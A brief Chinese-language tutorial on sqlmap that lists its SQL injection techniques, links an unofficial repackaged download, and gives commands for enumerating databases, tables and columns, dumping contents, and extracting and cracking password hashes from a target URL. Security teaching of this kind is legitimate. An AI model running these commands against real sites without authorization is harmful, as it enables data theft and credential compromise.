sqlmap介绍
sqlmap是一款自动注入工具,主要功能是扫描,发现并利用给定URL的sql注入漏洞。支持许多主流数据库,比如Mysql, Oracle, Microsoft SQL Server等。sqlmap采用了以下技术来实现sql注入:
- 基于时间的盲注:不能根据页面返回结果判断信息,是利用相关时间函数,通过页面响应的时间判断函数是否执行。
- 基于布尔类型的盲注:根据返回页面判断条件真假。
- 基于报错注入:基于页面返回的错误信息或是注入的结果直接返回到页面上。
- 联合查询注入:用union进行查询。
- 堆查询注入:可以同时执行多条语句时的注入。
sqlmap是需要python环境的,而且对python版本是有要求的,这里分享一个绿色免python环境的:链接: https://pan.baidu.com/s/1TJdKMLvW4v32N_fVbcSvBQ 提取码: dnnk
常见用法
1.判断是否存在sql注入
命令:sqlmap.py -u 目标URL
说明:若存在sql注入会返回数据库的相关信息和注入方式,可以查看相应的Payload。
2.查询当前用户下的数据库
命令:sqlmap.py -u 目标URL --dbs
3.获取数据库中的表名
命令: sqlmap.py -u 目标URL -D 数据库名 --tables
4.获取表中的字段名
命令:sqlmap.py -u 目标URL -D 数据库名 -T 表名 --columns
5.获取字段的内容
命令:sqlmap.py -u 目标URL -D 数据库名 -T 表名 -C 字段名1,字段名2... --dump
6.获取数据库用户
命令: sqlmap.py -u 目标URL --users
7.获取数据库的密码
命令:sqlmap.py -u 目标URL --passwords
说明:如果当前用户有权限读取,sqlmap会先列出用户名,然后列出密码的hash,尝试破解。
8.获取当前网站数据库名称
命令:sqlmap.py -u 目标URL --current-db
9.获取当前网站数据库用户名称
命令:sqlmap.py -u 目标URL --current-user